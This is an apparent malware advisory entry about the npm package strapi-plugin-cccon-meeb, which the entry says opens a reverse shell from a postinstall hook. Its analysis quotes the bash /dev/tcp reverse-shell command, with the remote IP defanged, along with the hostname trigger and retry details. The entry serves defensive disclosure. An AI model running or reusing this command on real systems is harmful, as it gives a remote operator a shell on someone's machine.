LWA-2026-12163 MAL-2026-16225 ↗ confirmed malware

strapi-plugin-cccon-meeb@3.6.8

Malicious code in strapi-plugin-cccon-meeb (npm)

T1059.007 · JavaScriptT1059 · Command and Scripting InterpreterT1071.001 · Web ProtocolsT1082 · System Information Discovery

Analysis

The package's postinstall hook (postinstall.js) opens a reverse shell to a hardcoded remote host. On install it executes `bash -i >& /dev/tcp/14[.]225[.]210[.]85/80 0>&1`, giving the remote operator an interactive shell on the installing machine. The script retries the connection up to 5 times at 10-second intervals and only activates when the hostname matches 'ubuntu-fc-uvm', logging its activity to /tmp/postinstall-revshell.log. The package is a Strapi plugin that otherwise provides no functionality.

analyzed by
Leitwacht
first seen
Sep 16, 2026, 07:22 AM
analyzed
Sep 16, 2026, 07:23 AM

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.